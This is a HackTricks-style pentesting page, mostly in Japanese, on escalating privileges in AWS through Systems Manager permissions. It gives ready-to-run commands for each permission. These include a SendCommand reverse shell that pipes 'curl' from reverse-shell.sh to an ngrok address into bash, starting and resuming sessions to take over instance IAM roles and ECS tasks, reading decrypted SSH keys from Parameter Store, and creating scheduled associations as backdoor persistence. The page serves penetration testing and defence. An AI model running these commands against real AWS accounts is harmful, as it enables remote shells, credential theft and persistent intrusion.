# AWS - SSM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SSM

SSMの詳細については次を参照してください：

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

権限 **`ssm:SendCommand`** を持つ attacker は、Amazon SSM Agent を実行しているインスタンス上で **execute commands in instances** が可能で、内部で動作している **IAM Role** を **compromise** することができます。
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
既に侵害された EC2 インスタンス内でこの手法を使って権限昇格を行っている場合は、次のようにして rev shell をローカルでキャプチャできます：
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**潜在的な影響:** SSM Agents が稼働しているインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

### `ssm:StartSession`

権限 **`ssm:StartSession`** を持つ攻撃者は、Amazon SSM Agent が稼働するインスタンス上で **SSH のようなセッションを開始** し、その内部で実行されている **IAM Role を侵害** することができます。
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> セッションを開始するには **SessionManagerPlugin** をインストールする必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
  
**Potential Impact:** SSM Agents が稼働している実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

#### Privesc to ECS

When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)、これは、_exec_ コマンドを発行するデバイスと対象のコンテナの間で SSM Session Manager を使ってセキュアなチャネルを作成することで実現されます。(SSM Session Manager Plugin がこれを動作させるために必要です)\
したがって、`ssm:StartSession` を持つユーザーは、そのオプションが有効になっている ECS tasks に対して単に次を実行するだけで **get a shell inside ECS tasks** ことができます:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)

**Potential Impact:** `ExecuteCommand` が有効になっている実行中のタスクにアタッチされた `ECS` IAM roles への直接的な privesc。

### `ssm:ResumeSession`

権限 **`ssm:ResumeSession`** を持つ攻撃者は、Amazon SSM Agent を実行しているインスタンスで、SSM セッション状態が **disconnected** になっている場合に、インスタンス上で **SSH のようなセッションを再起動** し、その中で動作している **compromise the IAM Role** を行うことができます。
```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc（SSM Agents が稼働しており、切断されたセッションがある場合）。

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

その権限を持つ攻撃者は、**SSM parameters** を一覧表示して **平文で読み取る**ことができます。これらのパラメータからは、SSH keys や API keys のような **機密情報を見つける**ことがよくあります。
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Potential Impact:** パラメータ内から機密情報を発見できる可能性があります。

### `ssm:ListCommands`

この権限を持つ攻撃者は送信された全ての **commands** を一覧表示でき、それらから **機密情報** を見つける可能性があります。
```
aws ssm list-commands
```
**Potential Impact:** コマンドライン内の機密情報を見つけられる可能性があります。

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

これらの権限を持つ攻撃者は、送信されたすべての **commands** を列挙し、生成された **read the output** を読み取ることで、そこから **sensitive information** を見つけることができます。
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potential Impact:** コマンド出力の中から機密情報を見つけることができる。

### Using ssm:CreateAssociation

権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理される EC2 インスタンス上でコマンドを自動実行できます。これらの associations は固定間隔で実行されるよう設定でき、interactive sessions を必要としない backdoor-like persistence に適しています。
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> この永続化手法は、EC2 インスタンスが Systems Manager によって管理され、SSM agent が稼働しており、攻撃者が associations を作成する権限を持っている限り有効です。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。**重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔である 30 分を満たす必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に一度だけ実行されます。

### Codebuild

ビルド中の codebuild プロジェクトに侵入するために SSM を利用することもできます:

{{#ref}}
../aws-codebuild-privesc/README.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
